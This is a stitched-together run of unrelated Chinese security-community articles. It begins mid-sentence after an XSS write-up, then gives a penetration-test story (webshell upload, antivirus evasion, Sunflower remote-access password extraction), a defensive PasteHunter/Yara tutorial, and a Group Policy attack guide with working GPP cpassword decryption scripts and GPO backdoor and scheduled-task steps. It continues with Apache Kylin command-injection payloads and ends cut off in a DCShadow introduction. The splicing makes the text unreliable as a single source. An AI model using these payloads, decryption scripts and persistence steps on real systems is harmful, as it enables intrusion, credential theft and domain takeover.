非常好！虽然PhantomJS无法通过<iframe src=”file://”>方式加载“file://”文件的内容，但我们通过XHR技术却能做到这一点。
从整个过程来看，虽然XSS载荷可能有些相形见绌，但我还是花了很多精力，做了很多猜测才走到这一步。这是非常古怪的一个奖励项目，我觉得整个过程像是在解决某个CTF挑战，而不是在挖掘生产服务器的漏洞。虽然整个周末我花了很多时间来解决这个难题，但至少还是有所收获的。 | 社区文章 |
# 运用——通向内网的路并非独木桥
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
**又到了HW的时期,这段时间教育HW打的人心力憔悴。压倒我的不是漏洞，而是一个又一个的弱口令。一个一百分把我打得心急，最终通过找回密码功能爆破出一个统一身份认证的账户，在其修改头像处上传webshell获取服务器权限。**
## 通向内网的漫长之路
冰蝎第一件事就是查看是否存在杀毒软件
tasklist /svc
**果然，在线对比看到有360和火绒**
**知道这个消息其实意料之中，现在的目标没有杀毒软件才奇怪。然后直接拿出我的免杀平台，加上二开的cs直接准备开冲**
**但是出现一个问题就是本地可以上线，但是cs马上传上去但是无法上线的问题。这里一直以为还是木马免杀的问题，因为这件事情我还被同事质疑了一番免杀平台。
**
**后来觉得是免杀木马的问题，又开始使用powershell进行上线，使用以前混淆的powerhsell语句进行本地测试，发现上线了。然后在目标机器上执行powershell还是不进行上线。又开始对自己的免杀能力陷入了深深的沉思。**
**于是换种思路。使用冰蝎自带的端口转发固然可以进行内网横向但是始终不太方便。**
**于是产生这样的思路：新建一个账户，然后账户3389登录之后关闭杀毒软件。但是新建账户的免杀应该怎么完成。使用很久之前的思路激活guest账户然后进行登录，但是很显然杀软已经监视了此方法。**
`net user guest /active:yes`
**于是通过制作可以bypassAv的添加账户exe，然后进行了远程登陆。上去之后关掉了杀毒软件等。**
**看到这个画面我留下了激动已久的泪水，于是我认为到此基本可以安稳睡个好觉的时候危险才悄然逼近。**
## 再次通往内网的漫长之路
**第二天一早，我醒来准备对其进行横向渗透的时候。发现了一件事情让我睡意全无，冰蝎已经不能执行命令了，并且昨晚新建的账户也已经不能登录。但是冰蝎的webshell马并没有被删，并且拥有浏览服务器文件的权限，其他都不行了，可能是被管理员发现了，但是并未找到webshell和漏洞点。**
**于是思考良久，该怎么继续进行下去。直到下午茶饭不思的时候我突然想到一个关键点，就是我在登录3389到桌面时依稀记得存在向日葵，我在翻阅昨天tasklist的任务表中发现了tasklist的进程中存在向日葵的运行程序。
但是我怎么可以知道它的机器码和登录密码这个问题很关键，随后我百度并没有发现可以利用的点。
于是我分析起我的本地向日葵**。
在ini中存在这两个关键字段**
`fastcode=k444586871
encry_pwd=zeyPucFP524=`
1.fastcode为本机识别码
2.encry_pwd为本机验证码但被加密
向⽇葵的配置⽂件最重要的地⽅有三处，分别
为： encry_pwd 、 fastcode 、 fastcodehistory
encry_pwd 为本机验证码，为密⽂，不可解密
fastcode 为本机识别码，为明⽂
fastcodehistory 为本机识别码历史，为密⽂，⽤base64解密即可，如果你的向⽇葵从来没有
连接过别的主机， fastcodehistory 就为空
有着这样的发现我的问题转变为如何解密encry_pwd，后来我将目标机器的ini文件下载到本地之后，将对方加密的encry_pwd密文替换到我本地向日葵的对应位置中我发现，向日葵程序会将此加密进行解密然后展示给用户。
后来在git中找到这样一个工具可以解密密文，省去很多麻烦
[https://github.com/wafinfo/Sunflower_get_Password(这都是后话，才发现有这么个东西](https://github.com/wafinfo/Sunflower_get_Password\(%E8%BF%99%E9%83%BD%E6%98%AF%E5%90%8E%E8%AF%9D%EF%BC%8C%E6%89%8D%E5%8F%91%E7%8E%B0%E6%9C%89%E8%BF%99%E4%B9%88%E4%B8%AA%E4%B8%9C%E8%A5%BF))
**于是通过获取到的本机识别码和本机验证码对远程服务器发送了远程控制再一次通向内网之中。**
## 总结
**在这次对目标进行横向的过程中产生了三组思路
1.上免杀的木马上线，然后cs横向但是始终不上线。
2.使用激活guest用户的方式绕过杀软发现已经不好使，重新搞新建用户的方式绕过杀软。
3.目标人员发现入侵，冰蝎不能执行命令，新建账户被删除。重新整理收集的信息向日葵再次通向内网。
知道后期专门研究环境的时候，发现应该是防火墙的出口策略限制导致不能cs上线。在走投无路的时候重新整理自己已经收集到的信息会是重新产生思路的好办法。在拿下服务器权限时应该建立多种持久化的方式，防止浪费时间重复解决已经解决的问题.**
漏洞链跟踪的系列文章还会继续做更新，但是会夹杂一些实战性的文章。每一篇实战性的文章都会带给大家一些小技巧，绝不会出现水文的情况。谢谢大家支持~ | 社区文章 |
# 【技术分享】如何将Pastebin上的信息应用于安全分析和威胁情报领域
|
##### 译文声明
本文是翻译文章，文章来源：techanarchy.net
原文地址：<https://techanarchy.net/2017/09/hunting-pastebin-with-pastehunter/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****从安全分析以及威胁情报的角度来看， **Pastebin**
是一个难得的信息宝库。只要没有设置隐私（private）选项（需要注册账户才能设置该选项），任何人都可以查看上传到pastebin数据的具体内容。
本文介绍了一款[PasteHunter](https://github.com/kevthehermit/PasteHunter)工具，该工具可以使用
**Yara** 规则从Pastebin上搜索有价值的信息，并将结果保存到本地环境中。
**
**
**二、实现方案**
公开数据来源非常广，比如，黑客以及脚本小子迫不及待地想把他们的成果推送到网站上，享受被全世界瞩目的自豪感，而开发者或网络工程师一旦出现疏忽，就会不小心把内部配置信息以及凭证信息公之于众。
这种情况下，普通安全分析师如何筛选这些数据，在安全分析行业中发挥这些数据的价值呢？
我们可以搜索Pastebin上的所有上传数据，检查这些数据是否包含有价值的信息。现在有很多工具可以提供类似功能，比如，[dumpmon](https://twitter.com/dumpmon)使用了一组正则表达式来监控类似Pastebin的多个网站，然后通过推特公布监控结果。
这个资源很不错，然而我希望自己能在更多细节上进行控制。Pastebin并不反对我们爬取其数据，但该网站存在某些限制条件，同一个IP地址多次请求后可能会被临时或者永久封禁。
幸运的是，Pastebin提供了一个API，这种API专门服务于此类任务场景。目前，Pastebin正在搞为期几天的促销，一次支付19.95美元就能永久拥有[Pro（专业版）账号](https://pastebin.com/pro)。
图1. Pro账户促销
拥有Pro账户后，我们可以使用某个白名单IP，以每秒1次的频率请求API。实际环境中，我们请求的频率并不需要那么高。
现在我们已经可以访问所有的数据，接下来如何处理这些数据呢？是时候请出[PasteHunter](https://github.com/kevthehermit/PasteHunter)这个工具了。
这个工具实际上是一个简单的脚本，可以通过一组Yara规则，利用pastebin API来获得数据，筛选其中匹配的数据内容，存放到elastic
search引擎中，然后使用Kibana前端来展示匹配的结果。
图2. 前端仪表盘
图3. 后端已存储数据
如果你不熟悉Yara规则，这里稍微介绍一下。[Yara](https://virustotal.github.io/yara/)是一种模式匹配引擎，主要用来扫描文件以及分类恶意软件家族。Yara使我们能够很方便地构造复杂的匹配规则，无需陷入正则表达式的泥潭。
安装过程非常简单，如果你需要Web界面来搜索内容的话，你可以安装Elastic Search以及Kibana。
当然我们也需要选择Python3、Yara，并将两者绑定（使用pip install yara-python这条命令）。
安装基础环境后，我们需要从代码库中下载代码，创建计划任务以定期运行脚本。详细信息可以阅读Github上的[readme](https://github.com/kevthehermit/PasteHunter/blob/master/README.md)文档。
代码中自带了一些规则，这些规则可以扫描最常见的那些数据，比如密码信息、泄露的凭证信息、被黑的网站等等。你也可以创建自定义关键词的规则文件，添加自己的关键词，例如，某个custom_keywords.yar文件如下所示：
/* This rule will match any of the keywords in the list */
rule custom_keywords {
meta: author = "@KevTheHermit" info = "Part of PasteHunter"
strings:
$my_email = "[email protected]" wide ascii nocase
$my_domain = "techanarchy.net" wide ascii nocase
$this_word = "This Word"
$other_word = "More Words"
condition:
any of them
}
你可以使用这种规则搜索匹配的域名、邮件地址、文档名等各类信息，以了解是否有任何数据意外泄露或者被他人窃取。
如果你想了解创建Yara规则的更多细节，可以参考[官方文档](https://yara.readthedocs.io/en/v3.6.0/)中的详细说明。
你所要做的就是这么简单，运行脚本后，你可以看到数据源源不断汇聚进来。
已收集的部分数据样本如下所示：
图4. Base64编码的恶意软件
图5. API密钥
图6. 邮件地址
图7. Doxing信息
图8. 工具使用说明
图9. Powershell及exe的下载
需要注意的是，这些规则可能会出现误报，相对于数据的可信度而言，你更应该衡量首次上传该数据的人的可信度。
我的工作离不开[@tu5k4rr](https://twitter.com/tu5k4rr)的帮助，这个工具的灵感源自于他所开发的[pastabean](https://github.com/Tu5k4rr/PastaBean)工具。 | 社区文章 |
### 写在最前
**先知技术社区独家发表本文，如需要转载，请先联系先知技术社区或本人授权，未经授权请勿转载。**
* 0x0 前言
最近在实战过程中遇到了组策略，发现攻击面其实挺宽广的，这里记录下自己的分析和学习过程
* 0x1 组策略的认识
组策略（英语：Group Policy）是微软Windows
NT家族操作系统的一个特性，它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略（缩写“LGPO”或“LocalGPO”），这可以在独立且非域的计算机上管理组策略对象。
通过使用组策略，你可以设置策略设置一次，然后将该设置复制到多台计算机上。 例如，你可以在链接到域的 GPO 中设置多个 Internet
Explorer11 安全设置，然后将所有这些设置应用到域中的每台计算机。
根据作用范围不同组策略可划分为多种，并且拥有自己的执行顺序和继承原则。
0x1.1 密码的难题
每台Windows主机有一个内置的Administrator账户以及相关联的密码。大多数组织机构为了安全，可能都会要求更改密码，虽然这种方法的效果并不尽如人意。标准的做法是利用组策略去批量设置工作站的本地Administrator密码。但是这样又会出现另一个问题，那就是所有的电脑都会有相同的本地Administrator密码。也就是说，如果获取了一个系统的Administrator认证凭据，黑客就可以获取他们所有机器的管理权限。
0x1.2 SYSVOL
解决办法之一是为认证数据采取SYSVOL，SYSVOL是AD（活动目录）里面一个存储域公共文件服务器副本的共享文件夹，所有的认证用户都可以读取。SYSVOL包括登录脚本，组策略数据，以及其他域控所需要的域数据，这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的域组策略存储在：
\<domain>\SYSVOL\<domain>\Policies\</domain></domain>
0x1.3 SYSVOL里的认证
在windows电脑中，管理需要花心思去保证本地Administrator账户（RID
500）。传统的做法（除了购买安全产品），是使用一个自定义的脚本去更改本地Administrator的密码。这样就会出现一个问题，密码肯定会明文存储在SYSVOL的脚本里(比如vbs文件)。比如黑客需要搜寻用来更改本地Administrator密码的VBS脚本，该vbs脚本在Microsoft
TechNet
gallery上，密码为可见的。这个脚本存在SYSVOL里，每个域用户都有读的权限，且该密码是每台电脑组策略应用的本地Administrator密码。
0x1.4 组策略偏好GPP
在2006年，微软收购了桌面标准的“PolicyMaker”，并重新借此与win2008发布了GPP（组策略偏好）。其中GPP最有用的特性，是在某些场景存储和使用凭据，其中包括：
复制代码
映射驱动（Drives.xml）
创建本地用户
数据源（DataSources.xml）
打印机配置（Printers.xml）
创建/更新服务（Services.xml）
计划任务（ScheduledTasks.xml）
更改本地Administrator密码
复制代码
这对管理员非常有用，因为GPP提供了一个自动化机制，可以作为急需的解决方案（比如脚本）给他们。它提供了有效的方法，利用显式凭据结合组策略部署了计划任务，一次性批量更改了电脑的本地管理的密码，也许这就是最受欢迎的利用场景吧。
0x1.5 GPP中存储的凭据
然而现在有个问题，凭据数据应该怎样保护？
当管理创建了一个新的GPP时，SYSVOL里有一个XML文件提供了相关配置数据。如果里面提供了密码的话，那应该就是AES-256加密，看起来这加密似乎是够强力了。
然而除了在2012年前的某些点外，微软在MSDN上发布了AES的私钥，它可以用来解密这种密码。因为认证用户（所有域用户或者信任域里的用户）对SYSVOL拥有读权限。在域里的任何用户可以搜索SYSVOL共享中的带有cpassword字样的XML文件，里面包含了AES加密的密码。
* 0x2 组策略的分类
0x2.1 本地组策略（LGP）
本地组策略（Local Group Policy，缩写LGP或LocalGPO）是组策略的基础版本，它面向独立且非域的计算机。至少Windows
XP家庭版中它就已经存在，并且可以应用到域计算机。在Windows
Vista以前，LGP可以强制施行组策略对象到单台本地计算机，但不能将策略应用到用户或组。从Windows
Vista开始，LGP允许本地组策略管理单个用户和组，并允许使用“GPO
Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
这里演示下利用本地组策略来加载我们的后门程序
这里我直接用CS生成一个window的后门shell.exe
开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
点击显示文件:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了
当我们重新启动的时候，发现直接以system权限加载了我们的程序
用ps1脚本上线同理，也是拿到了一个system权限
0x2.2 域组策略
当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它，域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单，想进行批量修改的时候，这个时候就可以利用组策略来进行任务的批量下发。
1.通过在域中下发脚本来执行
2.在组策略首选项GPP中进行设置
3.本地管理员密码解决方案:LAPS(不细说这个内容，这是解决这个问题很好的方案)
首先我们需要了解下AD域中两个默认的共享文件夹:SYSVOL NETLOGON
NETLOGON目录
挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息，是AD活动目录安装时候自动创建的，是在sysvol下面的一个子目录文件夹
SYSVOL目录
SYSVOL目录是AD域中的一个共享文件夹，该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本
配置文件，这些策略和脚本将用于传递给域成员机器。
此外，域控机器之间因为要自动同步域数据，SYSVOL文档允许该域内的所有DC机之间进行复制，并且所有的AD用户都可以访问它
在域中，用户登录（计算机）时，会首先在SYSVOL文件查找GPO和启动脚本。同时，为了保证系统的正常运行，必须为SYSVOL保留足够的空间缓存，而且不能随意删除、改动该文件夹，要不然会出现一些组策略无法启用等报错信息
该目录由于针对的是域内所有机器和用户，所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
如果更改权限，这个地方会显示拒绝访问
GPO
组策略对象，GPO（Group Policy Object），实际上就是组策略设置的集合。
你可以用GPO来存储不同的组策略信息，然后作用在指定OU或者指定作用范围发挥作用。
默认安装完AD之后，系统默认会存在两个组策略对象
Default Domain Policy
唯一ID(GUID):{31B2F340-016D-11D2-945F-00C04FB984F9} (都是相同的)
默认域策略
Windows Server 2008 creates a Default Domain Policy GPO for every domain in the forest. This domain is the primary method used to set some security-related policies such as password expiration and account lockout.
存放的路径:
C:\Windows\SYSVOL\sysvol\test1.local\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}
Default Domain Controllers Policy
唯一ID(GUID):｛6AC1786C-016F-11D2-945F- 00C04FB984F9｝ (都是相同的)
默认域控制器策略
管理目标“Domain Controllers”容器，影响“Domain Controllers”容器中的域控制器，域控制器账户单独保存在该容器中。
不难看到这个GPO作用的范围是DC这个OU,相应的执行优先级如下图
GPP
我们可以看到GPP里面自定义了很多操作，比如本地用户和组的密码控制、计划任务等
在GPP出现之前，很多统一管理的操作只能通过脚本来实现，而GPP方便和简化了这样的管理,GPP你可以将其理解为一个功能点,作用是简单化、规范化组策略的发布和使用
0x2.3 域组策略的利用
0x2.3.1 读取脚本中密码
这里我用一个例子来说明,域组策略是怎么加载脚本作用到域内机器的
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "123QWEQWE!@#"
objUser.SetInfo
这里我们保存这个脚本为cpass.vbs,这个脚本的作用那就是修改本地管理员账户的密码为
123QWEQWE!@#
这里我直接在域策略的GPO下面直接用脚本来下发这个脚本
这里为了演示效果,我们在域用户机器上进行强制更新组策略
gpupdate /force
我们可以在域用户中通过搜索脚本文件比如 _.vbs_.bat来找到
搜索SYSVOL的下的脚本命令
shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
0x2.3.2 GPP漏洞的利用
GPP漏洞只在2008没打补丁版本上存在，超过2008版本的系统是没办法写入密码的。
这个漏洞的产生原因是 使用了GPP功能，如果输入了用户的密码的话，那么密码就会以AES
256加密的形式存储在SYSVOL文件夹下的以XML后缀结尾的xml文件中，这个密码的加密密钥由微软官方给出可以进行解密，但是如果打补丁或者高版本的话，GPP服务是不能输入密码的了，这个漏洞也就相应不存在了。
输入密码项是被禁用的
下面我们来演示下怎么在CS下获取到GPP泄露的密码:
这里我们在dc2008新建一个OU组: GPPVuln
然后在该OU上,我们新建个使用了GPP的本地用户密码的策略
获取到该GPO的ID:{A7797762-FD8F-4B74-803E-BAE362BCC905}
然后我们根据该ID去SYSVOL搜索即可得到该目录下的文件
C:\Windows\SYSVOL\sysvol\test1.local\Policies\{A7797762-FD8F-4B74-803E-BAE362BCC905}\Machine\Preferences\Groups
可以看到在该Groups目录下的xml文件立马就可以看到我们设置gpptest用户名对应的加密的密码HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0
这个密码的解密方式有很多种，这里给出最常用的两种：
1.RUBY的一个脚本gppdecrypt.rb
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = ARGV
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
2.Gppprefdecrypt.py
#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#
import sys
from Crypto.Cipher import AES
from base64 import b64decode
# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
# Add padding to the base64 string and decode it
cpassword = "HtReckysr1Y4zM8/Mwe9TN4Fbi2L8JU3/PvW9NffrA0"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
# Decrypt the password
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
# Print it
print o[:-ord(o[-1])].decode('utf16')
演示效果如下：
解密如下
我们也要关注该目录下的其他XML文件
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
这里不仅仅是修改本地用户密码这个GPP存在，比如计划任务等需要写入用户密码xml文件都可能存在这个问题
1.命令行下搜索
dir /s /a \DC\SYSVOL*.xml
2.Get-GPPPassword.ps1的使用
使用powershell-import 导入Get-GPPPassword.ps1
powershell Get-GPPPassword 加载该函数
这个powershell脚本会自动遍历SYSVOL下的敏感文件,并且将密码解密
3.针对性用户查找,这里我们可以使用powerview
我们在指定的GPPVuln这个OU中添加个账户
下面我们演示如何在域中根据该用户名称来进行针对性的GPP搜索
简单的信息收集:
1.查看域内共享
powershell get-domaincomputer|get-netshare
2.查看域用户信息
powershell Get-DomainUser -identity gpptest
可以看到该用户属于GPPVuln的OU组
3.查看OU组信息
powershell Get-DomainOU -identity GPPVuln
发现有个GPO的link链接信息，然后我们根据这个GPUD去相应的文件夹进行搜索就可以了
0x2.3.3 后门利用
这个后门的利用的前提是我们已经拿下了域控的权限。
通过GPO我们可以指定控制OU下的所有用户，比如批量下发木马或者进行其他操作。
1.直接的方式
比如简单和暴力的方式,就是直接将我们的木马当成脚本放在域策略或者自己新建个GPO然后在启动|关闭中放入我们的木马,然后将该GPO链接到你想搞的OU下,这样就可以实现定向打击,这种感觉比较明显吧,很容易就可以排查出来了。
2.计划任务实现远程执行
这种方式能够按照时间定时的收集信息，相对来说比较隐蔽。
这里演示下如何使用New-GPOImmediateTask.ps1
1.导入powershell中管理GPO的模块&创建一个作用整个域的GPO
Import-Module GroupPolicy –verbose
2.执行脚本添加计划任务
New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'
3.强制更新组策略，或者默认等待90分组等待组策略强制更新
Invoke-GPUpdate -Computer "TEST\COMPUTER-01"
4.清理痕迹
Remove-GPO -Name TestGPO
* 0x03 后记
这是我在一个实战域环境内用冰蝎上马后查看gpp共享，但是好像他这个文件夹里面没有放bat
所以并不是每一个域环境内的情况都是一样的，这里只是给师傅们提供个思路
总体来说，共享组策略目录是域中最容易出现密码的地方，一般管理员会把一些bat脚本放在里面用来重置域内客户机器本地的administrator的密码，所以当我们进入内网之后如果遇到横向不动的情况，就可以查看一下gpp，查看共享组策略目录中是否存在密码 | 社区文章 |
# 前言
在官方漏洞报告中，说CVE-2022-43396是CVE-2022-24697的绕过。实际情况却是：两个漏洞均是发送在 Kylin 的 cube build
功能中，但CVE-2022-24697是参数可控；CVE-2022-43396是命令可控。
# CVE-2022-24697
**漏洞报告：**
* <https://lists.apache.org/thread/07mnn9c7o314wrhrwjr10w9j5s82voj4>
配置重写时，为正确处理引号，导致逃逸，造成命令执行
**影响版本：**
* Kylin 2.x & Kylin 3.x & 4.x should upgrade to 4.0.2
## 环境配置
**IP:**
本机指Docker运行的环境实例；宿主机指运行Docker的主机。
* 本机IP： 172.17.0.2
* 宿主机IP：192.168.2.48
**版本：**
直接采用官方 docker 镜像搭建环境，进行远程调试。
* docker：apachekylin/apache-kylin-standalone:4.0.0
**调试：**
执行如下代码，修改 kylin.sh 的内容
sed -i 's/\${KYLIN_TOMCAT_OPTS} -classpath/\${KYLIN_TOMCAT_OPTS} -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath/g' /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh
sh /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh restart
**启动：**
执行如下命令即可启动 Kylin ：
docker pull apachekylin/apache-kylin-standalone:4.0.0
docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 2181:2181 -p 5005:5005 apachekylin/apache-kylin-standalone:4.0.0
> 具体看官方的docker安装文档
> <https://kylin.apache.org/cn/docs/install/kylin_docker.html>
其中各端口功能如下：
* 5005：远程调试端口
* 7070：<http://127.0.0.1:7070/kylin/login，Kylin> 页面。密码：admin KYLIN
* 50080：<http://127.0.0.1:50070，HDFS> NameNode 页面。
* 8088：<http://127.0.0.1:8088，YARN> ResourceManager 页面。
## 攻击
1. 登录 Kylin（账号：admin，密码：KYLIN）。选择自带的项目 learn_kylin
2. 以此按箭头选择 ，查看 cube 列表
3. 点击 Action -> Edit，编辑 cube
4. 点击 Configuration Overwrites 中，新建一行的数据
kylin.engine.spark-conf.spark.driver.memory
512M' `touch /tmp/hacked` '
点击 Next 并 Save。
5. 点击 Build
随便选个日期后点击 Submit
6. 登录进 docker 容器查看，成功创建文件 /tmp/hacked
**注意：**
多次尝试反弹 shell，但是均失败了，不知道具体原因；可以考虑写 jsp 马。
## 调试
**源码：**
从官方库下载 Kylin4.0.0 版本
* <https://github.com/apache/kylin/archive/refs/tags/kylin-4.0.0.zip>
**断点：**
Idea 打开后，在`org.apache.kylin.engine.spark.job.NSparkExecutable#doWork`下断点：
**调用栈：**
execute:90, CliCommandExecutor (org.apache.kylin.common.util)
runSparkSubmit:282, NSparkExecutable (org.apache.kylin.engine.spark.job)
doWork:168, NSparkExecutable (org.apache.kylin.engine.spark.job)
execute:206, AbstractExecutable (org.apache.kylin.job.execution)
doWork:94, DefaultChainedExecutable (org.apache.kylin.job.execution)
execute:206, AbstractExecutable (org.apache.kylin.job.execution)
run:113, DefaultScheduler$JobRunner (org.apache.kylin.job.impl.threadpool)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
**调试：**
_每次点击 build 后，稍做等待即可捕获到断点。_
1. `org.apache.kylin.engine.spark.job.NSparkExecutable#doWork`方法在调用 runSparkSubmit 方法这一步之前，都是获取各种 config 的各种配置属性（cube配置重写的属性、系统的配置属性等），并传递下去。
2. 在 runSparkSubmit 方法内定位到关键方法 getSparkConfigOverride（Override意为重写，与开头的漏洞描述有关联）
getSparkConfigOverride 调用父类的同名方法
略读 `super.getSparkConfigOverride`
方法，发现若不存在键值为`spark.driver.memory`的元素，则为其指定值并加入 `Map<String, String>
sparkConfigOverride`。
而`Map<String, String> sparkConfigOverride` 是通过
`config.getSparkConfigOverride()` 方法获取的，其代码如下：
public Map<String, String> getSparkConfigOverride() {
return getPropertiesByPrefix("kylin.engine.spark-conf.");
}
`getSparkConfigOverride()`从全局配置属性中（包括cube配置重写的属性）返回键值开头为`kylin.engine.spark-conf.`的所有属性。
> 所以我们在攻击过程中设置的键值刚好满足上述条件
>
>
>
在`super.getSparkConfigOverride`return时，我们可以看到在键值`spark.driver.memory`的值中成功植入了恶意命令
3. 此后，一路 return，一直到执行命令处`exec.execute(cmd, patternedLogger, jobId);` 键值对`kylin.engine.spark-conf.spark.driver.memory`均未变化，我们可以看到此时变量 cmd 的值，已经被植入了恶意命令。
4. 随后就是执行 Kylin 执行命令的一套方法，在 /tmp 目录下生成 hacked 文件
## 修复
**补丁：**
* <https://github.com/apache/kylin/pull/1811/files>
调用 `ParameterFilter.checkSparkConf` 方法检查所有配置属性键值对
## 参考
* <https://lists.apache.org/thread/07mnn9c7o314wrhrwjr10w9j5s82voj4>
# CVE-2022-43396
**漏洞报告：**
* <https://lists.apache.org/thread/07mnn9c7o314wrhrwjr10w9j5s82voj4>
CVE-2022-24697 的绕过，用户可直接控制 `kylin.engine.spark-cmd` 执行命令
**影响版本：**
* Kylin 2.x & Kylin 3.x & 4.x should upgrade to 4.0.3
## 环境配置
不再重复，和CVE-2022-24697一致
## 攻击
1. 开始的步骤与 CVE-2022-24697一致，登录并编辑cube，但是新建的键值对不同；
点击 Configuration Overwrites 中，新建一行的数据
kylin.engine.spark-cmd
touch /tmp/hacked123; echo
点击 Next 并 Save。
2. 点击 Build
随便选个日期后点击 Submit
3. 登录进 docker 容器查看，成功创建文件 /tmp/hacked123
## 调试
**源码：**
从官方库下载 Kylin4.0.0 版本
* <https://github.com/apache/kylin/archive/refs/tags/kylin-4.0.0.zip>
**断点：**
Idea 打开后，在`org.apache.kylin.engine.spark.job.NSparkExecutable#doWork`下断点：
**调用栈：**
execute:90, CliCommandExecutor (org.apache.kylin.common.util)
runSparkSubmit:282, NSparkExecutable (org.apache.kylin.engine.spark.job)
doWork:168, NSparkExecutable (org.apache.kylin.engine.spark.job)
execute:206, AbstractExecutable (org.apache.kylin.job.execution)
doWork:94, DefaultChainedExecutable (org.apache.kylin.job.execution)
execute:206, AbstractExecutable (org.apache.kylin.job.execution)
run:113, DefaultScheduler$JobRunner (org.apache.kylin.job.impl.threadpool)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
**调试：**
_点击 build，等待后即可捕获断点_
CVE-2022-43396是CVE-2022-24697的绕过。从漏洞报告中我们知道漏洞成因是`kylin.engine.spark-cmd`参数可控。调试过CVE-2022-24697，我们知道该参数的使用出现在`NSparkExecutable#generateSparkCmd`方法中。
判断 getSparkSubmitCmd 方法获取`kylin.engine.spark-cmd`参数是否成功，成功则返回，不成功则指定默认值。
public String getSparkSubmitCmd() {
return getOptional("kylin.engine.spark-cmd", null);
}
该参数可由 cube: configuration Overrides进行设置。
getSparkSubmitCmd 获取到我们设置的恶意字符串后，被拼接如下
随意传入被执行，造成任意命令执行。
## 修复
**补丁：**
* <https://github.com/apache/kylin/pull/2011/files>
直接指定 sparkSubmitCmd 参数为默认值。
## 参考
* <https://lists.apache.org/thread/ob2ks04zl5ms0r44cd74y1xdl1rzfd1r> | 社区文章 |
# DCShadow：一种新型AD攻击技术
|
##### 译文声明
本文是翻译文章，文章原作者 Luc Delsalle，文章来源：blog.alsid.eu
原文地址：<https://blog.alsid.eu/dcshadow-explained-4510f52fc19d>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2018年1月24日，[Benjamin Delpy](https://twitter.com/gentilkiwi)和[Vincent Le
Toux](https://twitter.com/mysmartlogon)这两名安全研究人员在[BlueHat
IL](http://www.bluehatil.com/)安全会议期间公布了针对活动目录（AD，Active
Directory）基础架构的一种新型攻击技术：[DCShadow](https://www.dropbox.com/s/baypdb6glmvp0j9/Buehat%20IL%20v2.3.pdf)。利用这种技术，具有适当权限的攻击者可以创建恶意域控制器，将恶意对象复制到正在运行的[Active
Directory](https://technet.microsoft.com/en-us/library/cc977985.aspx)基础架构中。
在本文中我们会介绍这种攻击方法所依赖的基础技术，顺便讨论其对现有AD基础架构所造成的安全影响。最后，我们也会分析红蓝对抗中蓝队如何检测这类攻击活动。
## 二、DCShadow的创新点
红队或者攻击者之所以想突破AD基础架构，主要是想在不引起安全检测告警的情况下获取用户及主机凭据。
为了实现这一目标，随着时间的推移，人们开发出了多种攻击技术，如LSASS注入、滥用Shadow
